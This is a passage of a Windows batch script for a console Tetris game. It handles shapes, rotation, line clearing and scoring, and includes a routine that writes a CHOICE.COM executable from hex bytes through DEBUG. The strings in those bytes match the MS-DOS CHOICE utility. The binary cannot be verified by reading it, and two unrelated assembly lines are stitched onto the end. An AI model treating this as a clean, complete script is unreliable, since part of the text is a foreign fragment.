set/a "lin.num[%%Y]+=1" & set "lin.cnt[%%Y]=!lin.cnt[%%Y]!,%%_S!shape[%CurShape.Num%.C]:;=$!"
)
call :_cmp.lin
call :_make.shape
goto :eof
:_cmp.lin
for /l %%_ in (%-.LimY%,1,%+.LimY%) do (
if !lin.num[%%_]! GEQ %Lin.Lim% call :_down.lin "%%_"
)
goto :eof
:_down.lin
for /l %%_ in (%-.LimX%,1,%+.LimX%) do command /c echo:%esc%[%~1;%%_H%esc%[0;30m%Table%
for /l %%_ in (%~1,-1,%-.LimY%) do (
set/a "r_l=%%_-1"
call set "lin.num[%%_]=%%lin.num[!r_l!]%%"
if defined lin.cnt[!r_l!] (
call set "lin.cnt[%%_]=%%lin.cnt[!r_l!]:Y!r_l!=Y%%_%%"
) else (set "lin.cnt[%%_]=")
for %%w in (!lin.cnt[%%_]!) do (
for /f "tokens=1,2,3 delims=XYS" %%X in ("%%w") do (
set/a "Old.Y=%%Y-1"
set "color=%%Z"
command /c echo:%esc%[!Old.Y!;%%XH%esc%[0;30m%Table%%esc%[%%Y;%%XH%esc%[!color:$=;!m%Bound%
)
)
)
set/a "Score+=100"
Command/C Echo.%esc%[24;33H%esc%[0;34m%Score%
goto :eof
:_rotate
if "%CurShape.Num%" EQU "5" goto :eof
set/a "f_p_x=0" & echo:%CurShape.Num%.%CurShape.Pos%|findstr /i "2.1 2.3">nul && set/a "f_p_x=1"
set/a "f_p_y=0" & echo:%CurShape.Num%.%CurShape.Pos%|findstr /i "2.0 2.2">nul && set/a "f_p_y=1"
set "CurShape.old=%CurShape%" & set "CurShape.Pos.old=%CurShape.Pos%"
set/a "CurShape.Pos=(%CurShape.Pos%+1) %% 4"
set "CurShape=!shape[%CurShape.Num%.%CurShape.Pos%]!"
if %Movs.X% GTR 9 set/a "Movs.X-=(%Movs.X%-9)+%f_p_x%"
if %Movs.Y% GTR 17 set/a "Movs.Y-=(%Movs.Y%-17)+%f_p_y%"
call :_move "X" "+" "%Movs.X%" "rotate" & set/a "Movs.X-=%Movs.X%"
call :_move "Y" "+" "%Movs.Y%" "rotate" & set/a "Movs.Y-=%Movs.Y%"
2>nul set lin.cnt|findstr /i "%CurShape:,= %">nul && (
set "CurShape=%CurShape.old%"
set "CurShape.Pos=%CurShape.Pos.old%"
goto :eof
)
call :_paint "%CurShape.old%" "%Table%" "0;30"
call :_paint "%CurShape%" "%Bound%" "!shape[%CurShape.Num%.C]!"
goto :eof
:_paint
set "ansi_line=echo:"
for %%c in (%~1) do for /f "tokens=1,2 delims=X,Y" %%p in ("%%c") do (
set "ansi_line=!ansi_line!%esc%[%%q;%%pH%esc%[%~3m%~2"
)
)
command /c %ansi_line%
goto :eof
:_make.shape
set/a "CurShape.Num=%random% %% 7", "CurShape.Pos=0"
set "CurShape=!shape[%CurShape.Num%.%CurShape.Pos%]!"
call :_paint "%CurShape%" "%Bound%" "!shape[%CurShape.Num%.C]!"
2>nul set lin.cnt|findstr /i "%CurShape:,= %">nul && goto :_gameover
set/a "Movs.X=0","Movs.Y=0","Create.Shape=0"
goto :eof
:_LoadScreen
more/c 0<nul
title Batch Tetris v1.0
color 07
for /l %%_ in (1,1,20) do set "s_p=!s_p! "
echo: !s_p! Batch Tetris v1.0
echo: !s_p!ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
for /l %%_ in (1,1,20) do echo: !s_p!º!s_p!º
echo: !s_p!ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo: !s_p!Score:
goto:eof
:_LoadLines
for /l %%_ in (%-.LimY%,1,%+.LimY%) do (
set/a "lin.num[%%_]=0"
set "lin.cnt[%%_]="
)
goto :eof
:_gameover
more/c 0<nul & echo+Game Over.
pause 1>nul & exit
:_LoadShapes
set "shape[0.0]=X35Y3,X36Y3,X37Y3,X36Y4"
set "shape[0.1]=X35Y4,X36Y3,X36Y4,X36Y5"
set "shape[0.2]=X36Y3,X35Y4,X36Y4,X37Y4"
set "shape[0.3]=X35Y3,X35Y4,X35Y5,X36Y4"
set "shape[0.C]=0;33"
set "shape[1.0]=X36Y3,X37Y3,X35Y4,X36Y4"
set "shape[1.1]=X35Y3,X35Y4,X36Y4,X36Y5"
set "shape[1.2]=X36Y3,X37Y3,X35Y4,X36Y4"
set "shape[1.3]=X35Y3,X35Y4,X36Y4,X36Y5"
set "shape[1.C]=0;32"
set "shape[2.0]=X35Y3,X36Y3,X37Y3,X38Y3"
set "shape[2.1]=X35Y3,X35Y4,X35Y5,X35Y6"
set "shape[2.2]=X35Y3,X36Y3,X37Y3,X38Y3"
set "shape[2.3]=X35Y3,X35Y4,X35Y5,X35Y6"
set "shape[2.C]=0;31"
set "shape[3.0]=X35Y3,X36Y3,X37Y3,X37Y4"
set "shape[3.1]=X36Y3,X36Y4,X36Y5,X35Y5"
set "shape[3.2]=X35Y3,X35Y4,X36Y4,X37Y4"
set "shape[3.3]=X35Y3,X36Y3,X35Y4,X35Y5"
set "shape[3.C]=1;37"
set "shape[4.0]=X35Y3,X36Y3,X37Y3,X35Y4"
set "shape[4.1]=X35Y3,X36Y3,X36Y4,X36Y5"
set "shape[4.2]=X37Y3,X35Y4,X36Y4,X37Y4"
set "shape[4.3]=X35Y3,X35Y4,X35Y5,X36Y5"
set "shape[4.C]=0;35"
set "shape[5.0]=X35Y3,X36Y3,X35Y4,X36Y4"
set "shape[5.1]=X35Y3,X36Y3,X35Y4,X36Y4"
set "shape[5.2]=X35Y3,X36Y3,X35Y4,X36Y4"
set "shape[5.3]=X35Y3,X36Y3,X35Y4,X36Y4"
set "shape[5.C]=0;34"
set "shape[6.0]=X35Y3,X36Y3,X36Y4,X37Y4"
set "shape[6.1]=X36Y3,X35Y4,X36Y4,X35Y5"
set "shape[6.2]=X35Y3,X36Y3,X36Y4,X37Y4"
set "shape[6.3]=X36Y3,X35Y4,X36Y4,X35Y5"
set "shape[6.C]=1;36"
goto:eof
:_choice.gen
set "_=echo:e"
(
%_%0100 E9 32 04 59 4E 00 00 00 00 00 00 00 00 00 00 00
%_%0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0180 00 00 00 00 00 57 61 69 74 73 20 66 6F 72 20 74
%_%0190 68 65 20 75 73 65 72 20 74 6F 20 63 68 6F 6F 73
%_%01A0 65 20 6F 6E 65 20 6F 66 20 61 20 73 65 74 20 6F
%_%01B0 66 20 63 68 6F 69 63 65 73 2E 0D 0A 0D 0A 00 43
%_%01C0 48 4F 49 43 45 20 5B 2F 43 5B 3A 5D 63 68 6F 69
%_%01D0 63 65 73 5D 20 5B 2F 4E 5D 20 5B 2F 53 5D 20 5B
%_%01E0 2F 54 5B 3A 5D 63 2C 6E 6E 5D 20 5B 74 65 78 74
%_%01F0 5D 0D 0A 0D 0A 00 2F 43 5B 3A 5D 63 68 6F 69 63
%_%0200 65 73 20 53 70 65 63 69 66 69 65 73 20 61 6C 6C
%_%0210 6F 77 61 62 6C 65 20 6B 65 79 73 2E 20 44 65 66
%_%0220 61 75 6C 74 20 69 73 20 59 4E 0D 0A 2F 4E 20 20
%_%0230 20 20 20 20 20 20 20 20 20 44 6F 20 6E 6F 74 20
%_%0240 64 69 73 70 6C 61 79 20 63 68 6F 69 63 65 73 20
%_%0250 61 6E 64 20 3F 20 61 74 20 65 6E 64 20 6F 66 20
%_%0260 70 72 6F 6D 70 74 20 73 74 72 69 6E 67 2E 0D 0A
%_%0270 2F 53 20 20 20 20 20 20 20 20 20 20 20 54 72 65
%_%0280 61 74 20 63 68 6F 69 63 65 20 6B 65 79 73 20 61
%_%0290 73 20 63 61 73 65 20 73 65 6E 73 69 74 69 76 65
%_%02A0 2E 0D 0A 2F 54 5B 3A 5D 63 2C 6E 6E 20 20 20 20
%_%02B0 44 65 66 61 75 6C 74 20 63 68 6F 69 63 65 20 74
%_%02C0 6F 20 63 20 61 66 74 65 72 20 6E 6E 20 73 65 63
%_%02D0 6F 6E 64 73 0D 0A 74 65 78 74 20 20 20 20 20 20
%_%02E0 20 20 20 50 72 6F 6D 70 74 20 73 74 72 69 6E 67
%_%02F0 20 74 6F 20 64 69 73 70 6C 61 79 0D 0A 0D 0A 45
%_%0300 52 52 4F 52 4C 45 56 45 4C 20 69 73 20 73 65 74
%_%0310 20 74 6F 20 6F 66 66 73 65 74 20 6F 66 20 6B 65
%_%0320 79 20 75 73 65 72 20 70 72 65 73 73 65 73 20 69
%_%0330 6E 20 63 68 6F 69 63 65 73 2E 0D 0A 0D 0A 00 49
%_%0340 6E 76 61 6C 69 64 20 73 77 69 74 63 68 20 6F 6E
%_%0350 20 63 6F 6D 6D 61 6E 64 20 6C 69 6E 65 2E 20 45
%_%0360 78 70 65 63 74 65 64 20 66 6F 72 6D 3A 0D 0A 20
%_%0370 20 20 20 00 43 48 4F 49 43 45 3A 20 69 6E 76 61
%_%0380 6C 69 64 20 63 68 6F 69 63 65 20 73 77 69 74 63
%_%0390 68 20 73 79 6E 74 61 78 2E 20 45 78 70 65 63 74
%_%03A0 65 64 20 66 6F 72 6D 3A 20 2F 43 5B 3A 5D 63 68
%_%03B0 6F 69 63 65 73 0D 0A 00 43 48 4F 49 43 45 3A 20
%_%03C0 49 6E 63 6F 72 72 65 63 74 20 74 69 6D 65 6F 75
%_%03D0 74 20 73 79 6E 74 61 78 2E 20 20 45 78 70 65 63
%_%03E0 74 65 64 20 66 6F 72 6D 20 54 63 2C 6E 6E 20 6F
%_%03F0 72 20 54 3A 63 2C 6E 6E 0D 0A 00 43 48 4F 49 43
%_%0400 45 3A 20 54 69 6D 65 6F 75 74 20 64 65 66 61 75
%_%0410 6C 74 20 6E 6F 74 20 69 6E 20 73 70 65 63 69 66
%_%0420 69 65 64 20 28 6F 72 20 64 65 66 61 75 6C 74 29
%_%0430 20 63 68 6F 69 63 65 73 2E 0D 0A 00 43 48 4F 49
%_%0440 43 45 3A 20 6F 6E 6C 79 20 6F 6E 65 20 70 72 6F
%_%0450 6D 70 74 20 73 74 72 69 6E 67 20 61 6C 6C 6F 77
%_%0460 65 64 2E 20 45 78 70 65 63 74 65 64 20 46 6F 72
%_%0470 6D 3A 0D 0A 20 20 20 20 00 43 48 4F 49 43 45 3A
%_%0480 20 72 65 71 75 69 72 65 73 20 4D 53 2D 44 4F 53
%_%0490 20 76 65 72 73 69 6F 6E 20 34 2E 30 20 6F 72 20
%_%04A0 6C 61 74 65 72 2E 0D 0A 00 00 00 01 00 00 00 00
%_%04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0530 00 00 00 00 00 FC B0 01 B4 30 CD 21 3C 03 7F 0B
%_%0540 BB 79 04 E8 57 02 B0 FF E9 4E 02 06 B8 02 65 BB
%_%0550 FF FF B9 05 00 8B D3 0E BF 2F 05 CD 21 47 C4 3D
%_%0560 26 8B 1D B8 00 01 2B C3 A3 33 05 83 C7 02 89 3E
%_%0570 2F 05 8C 06 31 05 07 BE 81 00 AC 3C 0D 75 03 E9
%_%0580 38 01 3C 2F 74 41 3C 20 74 F0 3C 09 74 EC BF AF
%_%0590 04 80 3D 00 75 20 3C 22 75 04 B2 22 EB 03 B2 2F
%_%05A0 AA 8A 04 3C 0D 74 D3 3A C2 74 04 AA 46 EB F2 3C
%_%05B0 2F 74 C7 46 EB C4 BB 3C 04 E8 E1 01 BB BF 01 E8
%_%05C0 DB 01 B0 FF E9 D2 01 AC E8 E9 01 3C 3F 74 24 3C
%_%05D0 43 74 37 3C 4E 74 6D 3C 54 74 71 3C 53 75 03 E9
%_%05E0 D0 00 BB 3F 03 E8 B5 01 BB BF 01 E8 AF 01 B0 FF
%_%05F0 E9 A6 01 BB 85 01 E8 A4 01 BB BF 01 E8 9E 01 BB
%_%0600 F6 01 E8 98 01 B0 FF E9 8F 01 BF 03 01 8A 04 3C
%_%0610 3A 75 03 46 8A 04 3C 20 74 12 3C 09 74 0E 3C 0D
%_%0620 74 0A 3C 2F 74 06 AA 46 8A 04 EB EA B0 00 88 05
%_%0630 81 FF 03 01 74 03 E9 41 FF BB 74 03 E8 5E 01 B0
%_%0640 FF E9 55 01 C6 06 AB 04 00 E9 2E FF 8A 04 3C 3A
%_%0650 75 03 46 8A 04 3C 0D 74 4E 3C 2F 74 4A 3C 20 74
%_%0660 46 3C 09 74 42 A2 AE 04 46 8A 04 3C 2C 75 38 46
%_%0670 8A 04 3C 30 72 31 3C 39 77 2D 83 E0 0F A2 AD 04
%_%0680 46 8A 04 3C 30 73 03 E9 F0 FE 3C 39 76 03 E9 E9
%_%0690 FE A0 AD 04 BA 0A 00 F6 E2 8A 1C 80 E3 0F 02 C3
%_%06A0 A2 AD 04 46 E9 D3 FE BB B8 03 E8 F0 00 B0 FF E9
%_%06B0 E7 00 C6 06 AC 04 01 E9 C0 FE 80 3E AC 04 01 74
%_%06C0 1B A0 AE 04 E8 ED 00 A2 AE 04 BE 03 01 80 3C 00
%_%06D0 74 0A 8A 04 E8 DD 00 88 04 46 EB F1 BF 03 01 B9
%_%06E0 80 00 A0 AE 04 F2 AE 74 0B BB FB 03 E8 AE 00 B0
%_%06F0 FF E9 A5 00 BB AF 04 E8 A3 00 80 3E AB 04 01 75
%_%0700 29 BF 03 01 B4 02 B2 5B CD 21 B4 02 8A 15 CD 21
%_%0710 47 80 3D 00 74 08 B4 02 B2 2C CD 21 EB EC B4 02
%_%0720 B2 5D CD 21 B4 02 B2 3F CD 21 80 3E AD 04 00 74
%_%0730 2D B4 2C CD 21 88 36 AA 04 B4 0B CD 21 83 E0 01
%_%0740 83 C8 00 75 19 B4 2C CD 21 38 36 AA 04 74 EA 88
%_%0750 36 AA 04 FE 0E AD 04 75 E0 A0 AE 04 EB 04 B4 08
%_%0760 CD 21 BF 03 01 80 3E AC 04 01 74 03 E8 45 00 80
%_%0770 3D 00 74 05 AE 74 0A EB F6 B4 02 B2 07 CD 21 EB
%_%0780 DD B4 02 8A D0 CD 21 B4 02 B2 0D CD 21 B4 02 B2
%_%0790 0A CD 21 81 EF 03 01 8B C7 B4 4C CD 21 50 57 52
%_%07A0 B4 02 33 FF 8A 11 80 FA 00 74 05 CD 21 47 EB F4
%_%07B0 5A 5F 58 C3 53 57 06 3C 61 72 1B 3C 7A 77 04 2C
%_%07C0 20 EB 13 3C 80 72 0F C4 3E 2F 05 8B D8 32 FF 2B
%_%07D0 1E 33 05 26 8A 01 07 5F 5B C3
ECHO:RCX
ECHO:6DA
ECHO:N CHOICE.COM
ECHO:W
ECHO:Q
) | debug 1>nul 2>&1
goto :eof
invoke GetStdHandle, STD_INPUT_HANDLE
mov [std_input], eax